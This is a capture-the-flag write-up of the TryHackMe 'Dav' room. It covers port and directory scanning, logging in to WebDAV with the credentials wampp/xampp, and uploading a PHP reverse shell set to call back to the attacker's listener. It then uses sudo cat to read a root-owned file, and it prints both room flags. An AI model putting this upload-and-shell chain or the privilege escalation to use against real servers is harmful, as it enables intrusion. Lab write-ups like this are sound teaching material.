[TryHackMe] Dav

I completed the TryHackMe “Dav” room — a simple CTF — and wanted to share my findings. I used the TryHackMe lab with an attacker at 10.10.238.26 and a target at 10.10.63.31.

Nmap

nmap -sVC 10.10.63.31
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:82:DA:F3:07:69 (Unknown)

GoBuster

gobuster dir -u 10.10.63.31 -w /usr/share/wordlists/dirb/big.txt

GoBuster found a directory named webdav.

Browser

The URL http://10.10.63.31/webdav resolved to a WebDAV realm login screen.

Webdav

WebDAV stands for Web Distributed Authoring and Versioning. It’s an extension of the HTTP protocol that allows users to collaboratively manage and edit files on a remote web server. In simpler terms, it lets you treat a web server like a network drive where you can upload, download, edit, and organize files.

WebDAV itself doesn’t have a unique port — it runs over HTTP or HTTPS, so it uses the standard ports of the underlying protocol:

• Port 80 → WebDAV over HTTP (unencrypted)
• Port 443 → WebDAV over HTTPS (encrypted)

Some servers might be configured to run HTTP/HTTPS on non-standard ports (like 8080 or 8443), but the WebDAV service still uses the HTTP methods (PROPFIND, MKCOL, PUT, DELETE, etc.) on whatever port the web server is listening to.

In short: WebDAV is “piggybacking” on your web server, so it uses whatever port HTTP(S) uses.

Default login credentials

I’m not sure if these can be considered default credentials, but several GitHub tools reference the username “wampp” and password “xampp” where it comes to WebDAV exploits. These turned out to be the correct login credentials for this CTF.

Exploit

I did not find any working exploits on GitHub or other sources, and the Metasploit WebDAV payload also failed to work. What worked for me was editing the default php-reverse-shell.php in /usr/share/webshells/php

I saved the edited payload as /root/Downloads/shell.php

...
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.238.26';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...

I started a Netcat listener on the attacker machine.

nc -nlvp 4444

I installed Cadaver on the attacker PC and connected to the target system.

cadaver http://10.10.63.31/webdav

Next, I uploaded the reverse shell payload using Cadaver.

put /root/Downloads/shell.php

Next, I activated the payload using Cadaver.

get shell.php

The result was a working reverse shell in the console where I had started the listener. I browsed the filesystem and found the first flag in /home/merlin/user.txt(449b40fe93f78a938523b7e4dcd66d2a)

Then, in order to find the second flag, I ran sudo -l to check if (as user www-data) I had any privilege escalation opportunities.

sudo -l

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat

/bin/cat is a perfect example of a privilege escalation opportunity — www-data can run it with root privileges. Pretty neat!

GTFOBins

Let’s see what GTFOBins says about the cat command.

[embed]cat | GTFOBins It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. If…gtfobins.github.io

LFILE=/root/root.txt
sudo cat "$LFILE"
101101ddc16b0cdf65ba0b8a7af7afa5

In this neat example of using sudo -l to find privilege escalation opportunities, GTFOBins once again helped me by pointing to the right command.